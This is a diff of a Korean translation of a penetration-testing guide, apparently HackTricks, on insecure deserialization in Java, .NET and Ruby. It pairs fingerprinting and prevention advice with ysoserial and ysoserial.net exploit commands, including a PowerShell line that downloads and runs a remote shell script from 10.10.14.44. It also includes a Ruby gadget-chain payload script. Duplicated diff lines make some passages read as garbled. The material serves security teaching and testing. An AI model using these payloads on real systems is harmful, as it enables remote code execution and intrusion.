Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니다**. 이 실행은 공격자가 이러한 콜백을 유발하는 악성 페이로드를 제작하여 악성 행동을 실행할 수 있도록 악용될 수 있습니다.
Java에서는 **deserialization 콜백이 deserialization 과정 중에 실행됩니다**. 이 실행은 악의적인 페이로드를 제작하는 공격자에 의해 악용될 수 있으며, 이는 해로운 행동의 실행으로 이어질 수 있습니다.
### 지문
### Fingerprints
#### 화이트 박스
#### White Box
코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요:
@ -327,22 +327,22 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니
다음에 특히 주의하세요:
- 외부 사용자가 정의한 매개변수와 함께 사용되는 `XMLDecoder`.
- XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약`XStream``fromXML` 메서드.
- `XStream``fromXML` 메서드, 특히 XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약합니다.
- `readObject` 메서드와 함께 사용되는 `ObjectInputStream`.
- `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
- `ObjectInputStream.readUnshared`.
- `Serializable`의 일반적인 사용.
#### 블랙 박스
#### Black Box
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래):
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "Magic Bytes"**를 찾으세요 (`ObjectInputStream`에서 유래):
- 16진수 패턴: `AC ED 00 05`.
- Base64 패턴: `rO0`.
- `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
- 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
- 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState 역직렬화에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -359,15 +359,15 @@ grep -R InvokeTransformer .
```
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며 잘못된 긍정 결과를 나타낼 수 있습니다**.
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며, 잘못된 긍정 결과를 나타낼 수 있습니다**.
#### 블랙 박스 테스트
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 취약점을 익스플로잇할 **페이로드를 선택하기가 더 쉬워질 수 있습니다**.\
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 **취약점을 익스플로잇할 페이로드를 선택하기가 더 쉬워질 수 있습니다**.\
[**GadgetProbe에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe는 **`ObjectInputStream` deserialization**에 중점을 두고 있습니다.
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별하고** 익스플로잇할 수 있습니다.\
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별**하고 **익스플로잇**할 수 있습니다.\
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중점을 두고 있습니다.
@ -376,16 +376,16 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중
**직렬화 테스트**
서버에서 취약한 라이브러리가 사용되는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 인간이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
### **익스플로잇**
#### **ysoserial**
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 복잡한 명령(예: 파이프 사용)을 사용할 수 있도록 해주는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) 사용을 고려할 수도 있습니다.\
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
이 도구는 **`ObjectInputStream`** 익스플로잇에 **중점을 두고** 있습니다.\
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 **사용하기 시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
나는 **RCE** 페이로드 전에 **"URLDNS"** 페이로드를 사용하여 주입이 가능한지 테스트하는 것을 **시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, "$()"를 사용하여 명령을 실행하거나, 심지어 **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
```python
@ -461,7 +461,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
[**marshalsec** ](https://github.com/mbechler/marshalsec)는 Java에서 다양한 **Json****Yml** 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다.\
프로젝트를 컴파일하기 위해 `pom.xml`에 이 **dependencies**를 **추가**해야 했습니다:
```markup
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -475,7 +475,7 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
<type>pom</type>
</dependency>
```
**Maven을 설치하고**, **프로젝트를 컴파일**하세요:
**maven을 설치**하고, **프로젝트를 컴파일**하세요:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
@ -510,15 +510,15 @@ public class myAccount implements Serializable
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Serializable 구현해야 하는 클래스의 직렬화를 피하십시오
#### Serializable 구현해야 하는 클래스의 직렬화를 피하십시오
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해 이러한 객체가 비역직렬화 가능하도록 `final` `readObject()` 메서드를 정의하여 항상 예외를 발생시키도록 하십시오. 아래와 같이:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
#### **Java에서 역직렬화 보안 강화하기**
#### **Java에서 역직렬화 보안 강화**
**`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:
@ -546,11 +546,11 @@ return super.resolveClass(desc);
}
}
```
**보안 강화를 위한 Java 에이전트 사용**은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
**Java 에이전트를 사용한 보안 강화**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
```
-javaagent:name-of-agent.jar
```
동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요.
@ -568,7 +568,7 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
- **NotSoSerial**은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
- **jdeserialize**는 역직렬화하지 않고도 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
@ -588,9 +588,9 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI 인젝션 및 log4Shell
## JNDI 주입 및 log4Shell
**JNDI 인젝션이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법**에 대한 내용은 다음 페이지에서 확인할 수 있습니다:
**JNDI 주입, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**를 다음 페이지에서 확인하세요:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### 악용
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것임을 의미합니다**.
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있다면 (일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하는 서비스에 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우에 작동합니다.
### 참고 문헌
@ -624,43 +624,43 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## .Net
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
### 지문
#### 화이트박스
소스 코드는 다음의 발생 여부를 검사해야 합니다:
소스 코드를 검사하여 다음 항목의 발생 여부를 확인해야 합니다:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
사용자 제어 하에 변수에 의해 유형이 결정될 수 있는 직렬 변환기에 초점을 맞춰야 합니다.
사용자 제어 하에 변수를 통해 유형을 결정할 수 있는 직렬화기에 초점을 맞춰야 합니다.
#### 블랙박스
검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`을 포함한 **JSON** 또는 **XML** 구조가 포함될 수 있습니다.
서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 **AAEAAAD/////** 또는 유사한 패턴을 검색해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 `TypeObject` 또는 `$type`이 포함된 **JSON** 또는 **XML** 구조가 포함될 수 있지만 이에 국한되지 않습니다.
### ysoserial.net
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**.
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터에 대해 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**(Windows에서 기본적으로 사용되는 인코딩)로 **인코딩**하므로, 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 이는 항상 작동한다는 의미는 아닙니다)._
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다 (명령을 실행하기 위해 역직렬화 중 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 이를 직렬화하는 데 동일한 것을 사용해야 합니다).
- **`--output`**는 악용을 **원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로 (Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생할 수 있으며, 이는 악용이 제대로 작동하지 않게 할 수 있습니다 (HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만, 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**.
#### ysoserial.net의 추가 매개변수
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
- `--minify`는 **더 작은 페이로드**를 제공합니다 (가능한 경우).
- `--raf -f Json.Net -c "anything"` 이는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯을 지정**(`-g`)할 수 있으며, ysoserial.net은 "xml"을 포함하는 포맷터를 검색합니다(대소문자 구분 없음).
- `--sf xml`**가젯을 지정**(`-g`)하고 ysoserial.net이 "xml"을 포함하는 포맷터를 검색하도록 합니다 (대소문자 구분 없음).
**ysoserial 예제**를 통해 악용을 생성합니다:
**ysoserial 예시**를 통한 악용 생성:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -679,8 +679,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\
이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 조각을 찾을 수 있습니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 제대로 작동하는지 테스트할 수 있습니다.\
이 매개변수는 코드 검토 시 다음과 같은 코드 조각을 찾을 수 있기 때문에 유용합니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -705,14 +705,14 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
**이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지를 이해하는 데 도움이 됩니다.
### ViewState
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md) **임의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
### 예방
### Prevention
.Net에서 역직렬화와 관련된 위험을 완화하기 위해:
@ -726,18 +726,18 @@ return obj;
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출되지 않도록 하십시오.
### **참고문헌**
### **References**
- Java .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강연: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **루비**
## **Ruby**
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 역직렬화라고 합니다.
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -815,7 +815,7 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
다른 RCE 체인으로 Ruby On Rails를 이용하는 방법: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
다른 RCE 체인으로 Ruby On Rails를 이용한 공격: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() 메서드
@ -825,7 +825,7 @@ puts Base64.encode64(payload)
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값**이 있는 인수를 가진 메서드를 호출할 수 있습니다.\
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 글에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
```ruby
<Object>.send('<user_input>')
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Ruby _json 오염
